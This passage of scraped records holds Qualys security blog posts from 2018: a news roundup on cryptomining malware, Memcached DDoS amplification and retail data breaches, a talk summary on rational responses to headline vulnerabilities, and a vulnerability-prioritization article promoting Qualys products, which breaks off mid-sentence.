post](<https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/>).\n\nBetween September and January, the number of websites hosting cryptomining scripts [spiked 725%](<https://www.cyren.com/blog/articles/increase-in-cryptocurrency-mining-threatens-more-than-just-your-cpu>), Cyren Security Lab said recently. That figure includes domains that are hosting these scripts knowingly, as well as those that have been breached.\n\nCryptomining attacks are purposefully stealthy and silent: They avoid noticeably disrupting breached systems\u2019 operations in order to remain undetected. \u201cFor coin miner malware, persistence is key. These types of malware employ various techniques to stay undetected for long periods of time in order to mine coins using stolen computer resources,\u201d reads Microsoft\u2019s blog post.\n\nThus, cryptomining gives hackers \u201call of the financial upside\u201d of ransomware and other attacks without having to engage the victim and while drawing less law enforcement attention, Cisco\u2019s Talos unit [explained](<http://blog.talosintelligence.com/2018/01/malicious-xmr-mining.html>) in late January.\n\nAs industry analyst Jason Bloomberg put it in a [Forbes column](<https://www.forbes.com/sites/jasonbloomberg/2018/03/04/top-cyberthreat-of-2018-illicit-cryptomining/#4b6bdcc05ae8>) recently, \u201cransomware is oh, so 2017,\u201d as \u201csmart hackers have turned to illicit cryptomining to fill their coffers\u201d lured by a perfect storm of \u201ceasy money, slim chance of detection, and billions of unsuspecting targets that may not even care they\u2019ve been hacked.\u201d\n\nLast month, Imperva [reported](<https://www.imperva.com/blog/2018/02/new-research-crypto-mining-drives-almost-90-remote-code-execution-attacks/>) that cryptomining now drives almost 90% of all remote code execution attacks. Kaspersky Lab put the number of users attacked by malicious miners[ at 2.7 million in 2017](<https://securelist.com/mining-is-the-new-black/84232/>), up 50% from 2016. And according to Check Point, [23% of global organizations](<https://coinjournal.net/23-organizations-globally-affected-crypto-mining-malware-coinhive-says-cybersecurity-firm/>) were affected in January by the Coinhive crypto-mining malware. \n\nMeanwhile, Malwarebytes Labs [ranks](<https://blog.malwarebytes.com/cybercrime/2018/02/state-malicious-cryptomining/>) malicious cryptomining as its top detection since September. While acknowledging that malicious cryptomining appears to be far less dangerous to the user than ransomware, Malwarebytes Labs warned that its effects should not be underestimated. \u201cIndeed, unmanaged miners could seriously disrupt business or infrastructure critical processes by overloading systems to the point where they become unresponsive and shut down,\u201d reads the Malwarebytes Labs post.\n\nOrganizations that have been compromised in recent months include the U.K.\u2019s [Information Commissioner\u2019s Office](<http://www.bbc.com/news/technology-43025788>) (ICO), [U.S. federal courts](<http://fortune.com/2018/02/12/us-courts-coinhive-monero-cryptocurrency-miner/>), [Australian state governments](<https://www.theguardian.com/technology/2018/feb/12/cryptojacking-attack-hits-australian-government-websites>), and the[ LA Times newspaper](<https://nakedsecurity.sophos.com/2018/02/27/unsecured-aws-led-to-cryptojacking-attack-on-la-times/>).\n\nAttack targets have included [vulnerable Jenkins servers](<https://research.checkpoint.com/jenkins-miner-one-biggest-mining-operations-ever-discovered/>), [unsecured Docker containers](<https://blog.aquasec.com/cryptocurrency-miners-abusing-containers-anatomy-of-an-attempted-attack>), [Microsoft Windows systems](<https://securityboulevard.com/2018/03/worm-infects-redis-and-windows-servers-with-cryptomining-malware/>), and browsers. Hackers have used multiple types of attack vehicles, including[ malvertising](<https://threatpost.com/ad-network-circumvents-ad-blocking-tools-to-run-in-browser-cryptojacker-scripts/130161/>), email, malware-laced apps, targeted hits, and exploit kits.\n\nFor example, the coin mining campaign detected by Microsoft\u2019s Windows Defender team this week used variants of the Dofoil/Smoke Loader malware in the form of sophisticated trojans with \u201cadvanced cross-process injection techniques, persistence mechanisms, and evasion methods.\u201d\n\nThe Dofoil trojans attacked Explorer.exe with a \u201cprocess hollowing\u201d code-injection technique that created a new instance of the \u201cc:\\windows\\syswow64\\explorer.exe\u201d process and replaced the legit code with malware.\n\n\u201cThe hollowed Explorer.exe process then spins up a second malicious instance, which drops and runs a coin mining malware masquerading as a legitimate Windows binary, wuauclt.exe,\u201d Microsoft explained. Dofoil uses a customized mining application that can mine different cryptocurrencies. To avoid detection, Dofoil modifies the registry, according to Microsoft.\n\nAnd let us not forget good, old physical -- aka, real world -- security breaches. The Associated Press reported that crooks [stole 600 servers](<https://apnews.com/55117fb55a714e909fb9aaf08841a5d6/Bitcoin-heist:-600-powerful-computers-stolen-in-Iceland>) from data centers in Iceland that were being used for cryptomining. The servers, which haven\u2019t been found, are worth $2 million, and were swiped in a series of four heists in December and January. So far, 11 people have been arrested in connection with the investigation.\n\n### Memcached servers used for DDoS attacks\n\nLast week, we [reported](<https://blog.qualys.com/news/2018/03/02/apple-in-the-infosec-spotlight-as-github-falls-prey-to-amplified-ddos-attack>) on the troubling trend among hackers of using unprotected Memcached servers to dramatically [amplify the intensity](<https://www.darkreading.com/attacks-breaches/memcached-servers-being-exploited-in-huge-ddos-attacks/d/d-id/1331149?>) of their DDoS attacks. GitHub was on the receiving end of such a DDoS attack last week, which at the time was considered [the most intense ever](<http://www.zdnet.com/article/github-was-hit-with-the-largest-ddos-attack-ever-seen/>).\n\nWell, that record lasted for only a few days. This week, Arbor Networks [detected](<https://www.arbornetworks.com/blog/asert/netscout-arbor-confirms-1-7-tbps-ddos-attack-terabit-attack-era-upon-us/>) an even stronger DDoS attack against an unnamed customer of a U.S.-based service provider. The attack, according to Arbor Networks, reached 1.7Tbps at its peak and utilized the same Memcached reflection/amplification attack vector involved in the GitHub attack, which peaked at 1.35Tbps.\n\n \n\n![](https://blog.qualys.com/wp-content/uploads/2018/03/Mar2018_Peak_Attack_Size.png)_(Source: Arbor Networks)_\n\n \n\nThe open source Memcached software is meant to be used behind firewalls on internal networks to boost server performance, but many organizations have made them available from the Internet, and hackers are using them to significantly boost their DDoS attacks.\n\n\u201cWhile the internet community is coming together to shut down access to the many open Memcached servers out there, the sheer number of servers running Memcached openly will make this a lasting vulnerability that attackers will exploit,\u201d reads Arbor Networks\u2019 blog post.\n\nFor detailed information about this trend, in which attackers leverage the User Datagram Protocol (UDP), check out the write-ups from [Akamai](<https://blogs.akamai.com/2018/02/memcached-udp-reflection-attacks.html>), [Link11](<https://www.link11.com/en/blog/new-high-volume-vector-memcached-reflection-amplification-attacks/>) and [Cloudflare](<https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/>).\n\n\u201cAn attacker spoofing the UDP address of their intended victim can send just a small packet of data to a Memcached server, tricking it into blasting as much as 50,000 times more data in response,\u201d [wrote](<https://hotforsecurity.bitdefender.com/blog/world-record-broken-again-ddos-attack-exceeds-1-7-terabits-per-second-19653.html#new_tab>) security analyst Graham Cluley. \u201cThe result? A data tsunami.\u201d\n\nIn encouraging news, eWeek [reported on Friday](<http://www.eweek.com/security/memcached-ddos-attacks-slow-down-as-patching-ramps-up>) that patching efforts were starting to make a dent on these amplified DDoS attacks, according to the latest data gathered by Arbor and Cloudflare. \"We're still seeing lots of them, but their average size is considerably smaller due to ongoing cleanup and mitigation efforts,\" Steinthor Bjarnason, senior network security analyst at Arbor's Netscout unit, told eWEEK.\n\n### Another digital forensics vendor claims it can crack iPhones\n\nOn the heels of Cellebrite\u2019s recent claims that it can unlock and extract data from devices running all modern iOS versions including the most recent one, another digital forensics vendor is quietly making similar promises.\n\nForbes [reported](<https://www.forbes.com/sites/thomasbrewster/2018/03/05/apple-iphone-x-graykey-hack/#7b81709b2950>) this week that a \"mysterious\" company called GrayKey is distributing marketing materials that describe online and offline tools that allow it to unlock devices running iOS 10 and iOS 11, including the latest iPhone X.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/03/iPhone_X_family_line_up-600x565.jpg)_A second digital forensics vendor now claims it can crack iOS devices, including the iPhone X, pictured here. (Photo credit: Apple)_\n\nForbes\u2019 February [report](<https://www.forbes.com/sites/thomasbrewster/2018/02/26/government-can-access-any-apple-iphone-cellebrite/#cb3ce1f667a0>) on Cellebrite\u2019s claims -- which extend to Android devices as well -- generated a lot of concern among privacy and security experts.\n\nCellebrite has been telling its customers, which are primarily government, military and corporate investigative teams, that it\u2019s able to unlock and extract data from devices running iOS 11, such as the iPhone X, as well as other iPhones, iPads and iPods.\n\nConcerns center on the possibility that whatever technique and knowledge Cellebrite -- and now apparently GrayKey -- may possess could fall into the hands of criminals, be independently replicated by bad actors, or be abused by governments.\n\nThe situation also highlights the ongoing tug-of-war between tech vendors and law enforcement agencies, as the former resist watering down encryption on their products, while the latter argue they need access to devices and data for their investigations.\n\n### Speaking of law enforcement\u2019s distaste for strong encryption\n\nThis week FBI Director Christopher Wray, speaking at Boston College's second annual cybersecurity summit, reiterated his agency\u2019s opposition to \u201cunbreakable encryption,\u201d saying it creates \u201ca major public safety issue,\u201d according to a[ CSO Magazine report](<https://www.csoonline.com/article/3261100/encryption/fbi-chief-calls-for-public-private-detente-on-encryption.html#tk.rss_all>).\n\nSaying that in fiscal 2017 FBI investigators failed to retrieve the contents of 7,775 devices to which judges had granted them access, Wray \u201cmade an impassioned appeal for help from the tech sector and the security community,\u201d CSO reported.\n\nIn related news, it transpired this week that the FBI has established close collaboration with Best Buy\u2019s Geek Squad team of computer repair technicians. According to[ documents obtained by the Electronic Frontier Foundation (EFF)](<https://www.eff.org/deeplinks/2018/03/geek-squads-relationship-fbi-cozier-we-thought>), the FBI has been paying Geek Squad staffers for years for tips about illegal material they may find in the computers they\u2019re fixing.\n\n### Data breach included with your meal, your video game and your credit report\n\n![](https://blog.qualys.com/wp-content/uploads/2018/03/applebees-logo-300x200.jpg)\n\nThe Applebee\u2019s restaurant chain recently [discovered](<https://www.rmhfranchise.com/dataincident/>) malware in the POS (point of sale) systems of more than 160 of its eateries. At risk: Customers\u2019 names, credit and debit card numbers, expiration dates and card verification codes.\n\nThe incidents occurred in recent months, going back to November of last year, but Applebee\u2019s didn\u2019t discover the issue until mid-February.\n\n \n\n\u201cWe\u2019re seeing more of these types of breaches happening\u2026 it\u2019s an industry wide problem as more retailers look to an ecosystem of providers to bring in third party systems like point of sale and inventory management solutions,\u201d Fred Kneip, CEO of security firm CyberGRX [told Threatpost](<https://threatpost.com/pos-malware-found-at-160-applebees-restaurant-locations/130281/>). \u201cAs of today a lot of stores are playing catch up with security, and it can take months or years to realize that compromises have happened on third party systems.\u201d\n\nMeanwhile, customers of games developer Nippon Ichi Software (NIS) America are also at risk for credit card fraud and ID theft, after two of its online stores -- [NIS America](<https://store.nisamerica.com/>) and [SNKonlinestore](<https://snkonlinestore.com/>) -- were hacked.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/03/nisa-logo-300x150.jpg)\n\nThe breach occurred on Jan. 23 and wasn\u2019t discovered until Feb. 26. Compromised data included customer name, address, credit card number, expiration date, security code, and email address.\n\nAccording to the email NIS America sent to customers -- as [re-printed by NintendoLive.com](<http://www.nintendolife.com/news/2018/03/nis_americas_online_stores_hacked_credit_card_details_compromised>) -- customers were redirected to an external web page where their information was captured, before being sent back to the company\u2019s online store to complete the transaction.\n\nAnd in the latest chapter of the monster data breach that just keeps on giving, Equifax [disclosed](<https://investor.equifax.com/news-and-events/news/2018/03-01-2018-140531340>) that there are another 2.4 million Americans whose personal data was stolen by hackers in last year\u2019s infamous and massive hack. That ups the total of people affected to about 148 million. The data thieves accessed Equifax\u2019s systems and data by exploiting the Apache Struts CVE-2017-5638 vulnerability, for which a patch was available.\n\n### In other InfoSec news \u2026\n\n * Duo Security, which provides a two-factor authentication app, is detailing a [serious flaw](<https://duo.com/labs/psa/duo-psa-2017-003>) it recently fixed in its product as well as [the flaw\u2019s root cause](<https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations>) -- SAML vulnerabilities -- which also affects third-party products and services. \u201cDuo disclosed the problem responsibly late last year, and after giving vendors \u2013 including itself \u2013 time to fix the bug, has now gone public with an excellent and educational explanation of what went wrong,\u201d [writes](<https://nakedsecurity.sophos.com/2018/02/28/single-sign-on-authentication-the-bug-that-let-you-logon-as-someone-else/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+nakedsecurity+%28Naked+Security+-+Sophos%29>) Lisa Vaas in Sophos\u2019 Naked Security blog.\n * Facebook\u2019s Oculus Rift VR headsets temporarily stopped working after the company [let its security certificate lapse](<https://www.theverge.com/2018/3/8/17095414/oculus-rift-software-fix-certificate-expiry>).\n * MoviePass CEO Mitch Lowe set off privacy alarms when he [boasted](<https://www.csoonline.com/article/3260629/privacy/thanks-to-moviepass-app-tracking-ceo-claims-we-know-all-about-you.html>) this week during a keynote address that his company\u2019s eponymous app has such an ability to track its subscribers -- including via GPS data -- that \u201cwe know all about you.\u201d After the inevitable backlash, the company [the next day](<https://www.theverge.com/2018/3/8/17096442/moviepass-updates-ios-app-unused-location-tracking-features>) announced it was removing the app\u2019s location tracking features.\n\n* * *\n\n_With the [Qualys Cloud Platform ](<https://www.qualys.com/cloud-platform/>)and its suite of natively integrated, self-updating security and compliance [Cloud Apps](<https://www.qualys.com/apps/>), Qualys pro__vides automated, continuous and scalable prevention and response__. __Qualys offers customers [complete and instant visibility of IT assets](<https://www.qualys.com/apps/asset-inventory/>) wherever they reside -- on premises, in clouds, and remote endpoints; comprehensive and continuous [vulnerability management](<https://www.qualys.com/apps/vulnerability-management/>); granular [assessment of secure system configurations](<https://www.qualys.com/apps/policy-compliance/>); [monitoring of file integrity](<https://www.qualys.com/apps/file-integrity-monitoring/>); [web application scanning and firewall](<https://www.qualys.com/apps/web-app-scanning/>); [detection of compromise](<https://www.qualys.com/apps/indication-of-compromise/>); and multiple other security and compliance solutions._", "cvss3": {}, "published": "2018-03-09T21:45:09", "type": "qualysblog", "title": "Cryptomining is all the rage among hackers, as DDoS amplification attacks continue", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-03-09T21:45:09", "id": "QUALYSBLOG:AB2325C5FBED5CF55517445600D470C1", "href": "https://blog.qualys.com/news/2018/03/09/cryptomining-is-all-the-rage-among-hackers-as-ddos-amplification-attacks-grow", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T20:50:12", "description": "It\u2019s happening more and more. \n\n![](https://blog.qualys.com/wp-content/uploads/2018/04/IMG_3180-1-600x690.jpg)_Gill Langston, a Qualys Director of Product Management, speaks at RSA Conference 2018_\n\nHigh profile vulnerabilities like Meltdown and Spectre are disclosed, and become headline-grabbing news not just in the technology press, but on general news outlets worldwide.\n\nEven if the vulnerabilities aren\u2019t associated with an attack, the news reports rattle C-level executives, who ask the security team for a plan to address the by now notorious bug, and pronto.\n\nOften, a counter-productive disruption of the normal vulnerability and patch management operations ensues, as those involved scramble to draft a response against the clock in a panic atmosphere, punctuated by confusion and finger-pointing.\n\n\u201cShould I just immediately be jumping and reacting? Should I start deploying patches, and then go from there? I\u2019m going to argue that that\u2019s not always the case,\u201d Gill Langston, a Product Management Director at Qualys, said Wednesday during a presentation at RSA Conference 2018.\n\n### The right approach\n\nWhat security teams should aim for is a coherent, appropriate and rational response plan that is grounded in a factual and comprehensive assessment of the situation, said Langston, whose presentation was titled \u201cThe Sky Is Falling! Responding Rationally to Headline Vulnerabilities.\u201d\n\n\u201cHow can I put this together and send something back to the C-level executives that says: \u2018This is my recommendation for now.\u2019 It may not always be to go deploy the patches,\u201d Langston said. \u201cCreate a plan, and then react, review and improve it over time.\u201d\n\nA key step in dealing effectively with this type of \u201cnews event\u201d vulnerabilities is to have a proper and solid vulnerability management and remediation program in place. That way, organizations are in a better position to do a precise risk assessment of disclosed bugs on a continuous basis, according to Langston.\n\nThis also means that when a high profile vulnerability is announced, security teams have a head start. That way, they don\u2019t have to go back to square one to ensure they are in fact identifying all assets before they can start to react.\n\nOrganizations will be able to pick the most appropriate course of action, which depending on the case, can be to patch right away, to mitigate when remediation is complex, or to monitor and wait before acting.\n\nBelow are three recent examples of each scenario.\n\n### Patch now, unless you \u201cwanna cry\u201d later\n\nMost organizations should have prioritized patching the vulnerability that was exploited by the WannaCry ransomware, way before the attack was unleashed, according to Langston. Instead, the [WannaCry attack](<https://blog.qualys.com/news/2017/05/19/no-more-tears-wannacry-highlights-importance-of-prompt-precise-vulnerability-remediation>) infected 300,000-plus systems and disrupted critical operations globally.\n\nMicrosoft disclosed the Windows vulnerability ([MS17-010](<https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>)) in mid-March 2017 and made a patch available. At the time, Microsoft rated the vulnerability as \u201cCritical\u201d due to the potential for attackers to execute remote code in affected systems.\n\nThe vulnerability also had a number of other red flags that made it stand out as a particularly concerning one. In mid-April, the vulnerability became even more dangerous when the [Shadow Brokers hacker group](<https://blog.qualys.com/securitylabs/2017/04/15/the-shadow-brokers-release-zero-day-exploit-tools>) released an exploit for it called EternalBlue.\n\nSo organizations had a window of about two months to install the patch before WannaCry was unleashed in mid-May. Had most affected systems been patched, WannaCry\u2019s impact would have been minor.\n\n\u201cIn most cases, organizations that follow the standard patching cycle of 30 days, they were already protected. And two months in, you got a second shot at it,\u201d he said.\n\nLangston displayed a graph with Qualys vulnerability scanning data showing that between mid-March and mid-April, detection of affected devices spiked and gradually declined as organizations scanned and patched their systems.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/04/Slide13.jpg)\n\nHowever, the number of vulnerable systems shoots up after the EternalBlue release, after organizations apparently expanded the initial scope of scanned IT assets. \n\nAnd there\u2019s an important lesson here. \u201cWhen you\u2019re dealing with a vulnerability that can jump around your network, if you\u2019re not identifying all of the assets, you\u2019re already behind the eight ball,\u201d he said.\n\nThe graph shows that widespread patching didn\u2019t fully kick in until after the WannaCry attacks began.\n\nFom WannaCry, Langston identified some key no-nos: A slow identification of all at-risk assets; a tendency by IT operations teams to treat all issues with similar urgency; and a complacency among end users to delay rebooting their machines to finish the patching process.\n\n### Strut your firewall\n\nLangston then discussed the Struts web application vulnerability that was exploited most famously at Equifax, leading to that consumer credit reporting agency's massive data breach. On the same day that Struts was disclosed, and a patch made available, an exploit was also released, so the risk was high.\n\nBecause web application vulnerabilities tend to be difficult to remediate, often requiring a rebuild and long testing cycles, Struts highlights the importance of mitigation. In this case, a good plan would have been to use a[ web application firewall,](<https://blog.qualys.com/technology/2017/03/09/qualys-waf-2-0-protects-against-critical-apache-struts2-vulnerability-cve-2017-5638?>) while patching was in progress, he said. \n\n### Meltdown and Spectre: All bark and no bite?\n\nThen there are the Spectre and Meltdown vulnerabilities, which caused widespread alarm upon their disclosure in early January of this year, but for which there are only ineffective proof-of-concept exploits so far.\n\nIn the panic that was created, vendors such as Microsoft and Intel released faulty patches that IT departments rushed to apply, only to have to react after they caused system problems, including data corruption and performance issues.\n\nQualys data of vulnerability scans for Meltdown shows an initial push to install OS patches, followed by a long plateau of inactivity, as organizations probably weighed the fact that there were no exploits, and that the patches were problematic.\n\nA big lesson from Meltdown and Spectre? \u201cJust because it\u2019s in the news doesn\u2019t mean it\u2019s an emergency,\u201d Langston said. In other words, it\u2019s an example of a scenario where the most prudent thing to do is to monitor the situation and wait, instead of rushing to patch.\n\n### Best practices\n\nLangston recommends these six tips for crafting the best response to a notoriously public vulnerability:\n\n * Identify high-risk vulnerabilities often\n * Track the specific risk to your organization\n * Determine the best course of action\n * Decide when to communicate with internal stakeholders\n * Update regularly\n * Work the plan and improve it\n\nIt\u2019s also key to get buy-in from all the teams that will be involved in drafting, approving and executing the plan, including executives, security operations, DevOps, and IT operations. \u201cBuild the playbook together,\u201d he said.\n\nThe response plan should have four main elements:\n\n * Preparation, which involves ensuring that all assets are identified, that the triggers are documented and that the communication outreach is built\n * Reaction, which involves working the playbook, deciding on the course of action (fix, wait or mitigate), and communicating with your users\n * Revision, which involves reviewing the outcomes of the executed plan, and identifying improvement areas\n * Improvement, which involves collaboration to refine the response, modifying the plan based on findings, and extending the plan to all high-severity vulnerabilities\n\nThis should all amount to a rational, measured response, instead of to a knee-jerk reaction that leads to erratic, misguided decisions and actions.\n\n\u201cIf you don\u2019t have some response plan, you end up bouncing off of each other, pointing fingers and slowing down the entire process,\u201d he said.\n\nBelow is a checklist template that Langston suggests could be helpful in analyzing how to best respond to a \u201cheadline vulnerability\u201d.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/04/Slide36-1.jpg) \nHere\u2019s how that checklist might look when filled out by a hypothetical organization for the Meltdown vulnerability.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/04/Slide37.jpg)\n\nThis information can also be enriched and expanded using automated dashboards with threat feeds and other resources that are updated in real time and that allow security teams to do in depth analysis of relevant data.\n\nThe goal is that in the face of a headline-blaring vulnerability, organizations can come up with a well thought and sensible plan. \u201cA methodical approach leads to a rational response,\u201d Langston said.", "cvss3": {}, "published": "2018-04-19T23:00:03", "type": "qualysblog", "title": "The Sky Is Falling! Responding Rationally to Headline Vulnerabilities", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-04-19T23:00:03", "id": "QUALYSBLOG:1A5EE9D9F7F017B2137FF614703A8605", "href": "https://blog.qualys.com/news/2018/04/19/the-sky-is-falling-responding-rationally-to-headline-vulnerabilities", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T20:50:12", "description": "![](https://blog.qualys.com/wp-content/uploads/2018/05/cyber-security-1923446_1920-600x384.png)Here\u2019s a stat that shows the importance of prioritizing vulnerability remediation: Almost 30% of the CVEs disclosed in 2017 had a CVSS score of \u201cHigh\u201d or \u201cCritical.\u201d That works out to about 3,000 such vulnerabilities, or about 58 every week.\n\nGiven this large number of severe vulnerabilities, it\u2019s critical for IT and security teams to make a deeper assessment of the risk they represent in the context of their organizations\u2019 IT environment.\n\nIf they identify the vulnerabilities that pose the highest risk to their organization\u2019s most critical assets, they\u2019ll be able to prioritize remediation accordingly and eliminate the most serious and pressing threats to their IT environment.\n\nHowever, as evidenced by the long list of major breaches caused by unpatched vulnerabilities, it\u2019s hard for many businesses, government agencies and not-for-profit organizations to prioritize remediation consistently and accurately.\n\n\u201cOne of the big challenges that we have as security professionals is trying to stay on top of our vulnerability management,\u201d Josh Zelonis, a Forrester Research analyst, said during a recent [webcast](<https://www.qualys.com/webcasts/prioritization-vulnerabilities-modern-it-environment/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=webcast&leadsource=344565181>).\n\nZelonis, who cited the CVE stat during the webcast, said that, according to a 2017 Forrester survey of global businesses, 58% of them experienced at least one breach in the previous 12 months. Among those, 41% of the breaches were carried out by exploiting a vulnerability.\n\n\u201cThis is really representative of the problems we\u2019re seeing in the industry with prioritization and getting patches deployed, and this is only increasing,\u201d he said.\n\n\u201cIn a post-Equifax world, VM is coming under increased scrutiny,\u201d Zelonis added, alluding to the massive data breach suffered by the credit reporting agency in 2017 after hackers exploited the Apache Struts vulnerability (CVE-2017-5638), which had been disclosed about six months before.\n\nRead on to learn valuable best practices for prioritizing remediation, and how Qualys can help your organization overcome this critical challenge.\n\n### Vulnerability management and prioritization tips\n\nAccording to Zelonis, the vulnerability risk management process has four main steps: \n\n * Asset identification\n * Enumeration of assets\n * Prioritization of patching\n * Remediation\n\nWhen assigning remediation priorities, it\u2019s key to examine the severity of the vulnerabilities in the context of each asset. \n\nFor example, it should be a top priority to remediate a critical vulnerability in an asset that\u2019s highly important. However, remediating that same vulnerability may not be a top priority when it\u2019s present in an asset of medium or low importance. \n\nIn vulnerability management, it\u2019s also helpful to use threat intelligence not just to detect threats, but to also preemptively patch using threat landscape trends as a guide.\n\n\u201cIt\u2019s important to understand how a vulnerability can be exploited so you can take a look at at the assets within your organization to figure out where patches need to be prioritized and applied,\u201d Zelonis said.\n\nThreat intelligence is also essential for security teams to be able to communicate effectively with C-level executives and board members, who are increasingly interested in staying informed about the organization\u2019s security posture and strategy.\n\n\u201cOnce you\u2019ve made it relevant to them, they\u2019re going to need to understand what you\u2019re doing to mitigate the situations and perhaps allocate additional budget where necessary,\u201d he said.\n\nIt\u2019s also important to communicate this information not just to the higher-ups, but also horizontally across other IT teams such as operations, and across business units, because vulnerability remediation requires cross-functional collaboration.\n\n\u201cThis is a major gap we see with organizations who are struggling to get items patched: The security team\u2019s priorities aren\u2019t echoed nor understood outside of the security team,\u201d he said.\n\nThe goal here is to make these other teams aware of the real risk and potential business impact of particular vulnerabilities.\n\nUltimately, organizations should evolve from vulnerability management to vulnerability risk management. That way, the focus isn\u2019t just on reducing false positives, but rather on assessing critical data points and metrics to attain an understanding of risk, according to Zelonis.\n\n### Qualys: Asset visibility, vulnerability management and threat prioritization\n\nWith Qualys, you\u2019ll get complete visibility of your IT assets wherever they reside -- on premises, in clouds or at remote endpoints -- and you\u2019ll be able to continuously detect and asses all your vulnerabilities, and precisely prioritize remediation.\n\nWith proper vulnerability management, you \u201cimmunize\u201d your IT assets against opportunistic attacks which are designed to exploit common, well-known bugs and which are the most likely to hit your network.\n\nLet\u2019s look at three Qualys products that work in tandem to provide you with this asset visibility, vulnerability detection and remediation prioritization.\n\n_Qualys AssetView_\n\n[Qualys AssetView](<https://www.qualys.com/apps/asset-inventory/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) automates collection and categorization of IT and security information, and provides a unified view of this data.\n\n\u201cIt brings IT and security data together,\u201d Qualys Product Management Director Jimmy Graham said during the webcast, titled \u201cPrioritization of Vulnerabilities in a Modern IT Environment.\u201d\n\n![](https://blog.qualys.com/wp-content/uploads/2018/05/ai-screenshot-dashboard-2x.jpg)\n\nThe data, which is fed into the Qualys Cloud Platform for aggregation, indexing, correlation, and analysis, is continuously collected and updated using a variety of sensors, including:\n\n * Physical and virtual appliances that scan IT assets located on-premises, in private clouds, or in virtualized environments\n * Cloud appliances that remotely scan your infrastructure-as-a-service (IaaS) and platform-as-a-service (PaaS) instances in commercial cloud computing platforms\n * Lightweight, all-purpose cloud agents installed on IT assets that continuously monitor them\n\nThe data is made searchable via AssetView\u2019s search engine using ad-hoc queries. In addition, any query can be turned into interactive, continuously updated widgets in AssetView\u2019s customizable and dynamic dashboards. You can also generate detailed and custom-tailored reports.\n\nThis inventory provides both a complete \u201chorizontal\u201d list of IT assets as well as deep \u201cvertical\u201d details for each asset, including hardware specs, installed software, network connections, approved users, applied patches, and open vulnerabilities. \n\nIn addition, Qualys AssetView lets you assign criticality rankings to assets, since not all assets carry the same weight within your organization. Qualys lets you [tag your assets](<https://blog.qualys.com/news/2017/02/28/making-asset-inventory-actionable-with-a-cloud-based-system>), so you put relevant labels on them in the inventory and organize them in multiple ways.\n\n_Qualys Vulnerability Management_\n\n[Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) provides continuous, comprehensive coverage and visibility, as well as constant monitoring and alerts, in a way that makes vulnerability assessment effective in a \u201cperimeter-less world,\u201d according to Graham.\n\n\u201cWe call that \u2018perimeter-less world\u2019 because we collect vulnerabilities from on premises devices, and from private and public clouds. Through the agent, we can collect vulnerability information from roaming devices like laptops that employees may be using in a coffee shop or at home,\u201d he said.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/05/vm-screenshot-report-2x.jpg)\n\nQualys VM maps all assets on the network, detailing their OS, ports, services and certificates, and scans them for vulnerabilities with Six Sigma 99.99966 percent accuracy. It assigns remediation tickets, manages exceptions, lists patches for each host, and integrates with existing IT ticketing systems.\n\nIn addition, VM generates comprehensive reports customized for different recipients \u2014 like IT pros, business executives or auditors \u2014 and incorporates context and insight, including progress against goals. Via VM\u2019s APIs, the reporting data can be integrated with other security and compliance systems.\n\nWhen VM is paired with the Qualys Continuous Monitoring (CM) app, you\u2019ll be alerted about potential threats \u2014 such as new hosts/OSes, expiring certificates, unexpected open ports and unauthorized software \u2014 so problems can be tackled before turning into breaches. \n\n_Qualys Threat Protection_\n\nTo prioritize remediation work, you must continuously correlate vulnerability disclosures with your organization\u2019s IT asset inventory, so that you get a clear picture of the vulnerabilities that exist in each IT asset.\n\nThis is what [Qualys Threat Protection (TP)](<https://www.qualys.com/apps/threat-protection/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) does, and more.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/05/tp-screenshot-dashboard-2x.jpg)\n\nQualys TP continuously correlates external real-time threat indicators (RTIs) against your internal vulnerabilities and IT asset data, so you can take full control of evolving threats and identify what to remediate first.\n\n\u201cWhat ties this all together is Qualys Threat Protection,\u201d Graham said.\n\nRTIs add valuable context to a vulnerability, such as whether: \n\n * It\u2019s being actively attacked in the wild\n * There\u2019s an exploit kit available for it\n * It can lead to high data loss or to a denial of service attack\n * It\u2019s a \u201czero day\u201d with no patch available\n\nRegarding IT assets, you should consider factors such as their role in business operations, their interconnectedness with other assets, their Internet exposure and their user base.\n\nOut of this type of in-depth analysis will emerge a clear picture of your threat landscape, and based on it, you\u2019ll be able to come up with an accurate remediation plan.\n\nQualys TP features include:\n\n * Robust Data Analysis\n\nQualys TP continuously correlates external threat information against your vulnerabilities and IT asset inventory, leveraging Qualys Cloud Platform\u2019s robust back-end engine to automate this large-scale and intensive data analysis process. \n\n * Live Threat Intelligence Feed\n\nAs Qualys engineers continuously validate and rate new threats from internal and external sources, Qualys TP\u2019s Live Threat Intelligence Feed displays the latest vulnerability disclosures and maps them to your impacted IT assets. You can see the number of assets affected by each threat, and drill down into asset details.\n\nQualys Threat Protection, working in tandem with [Qualys 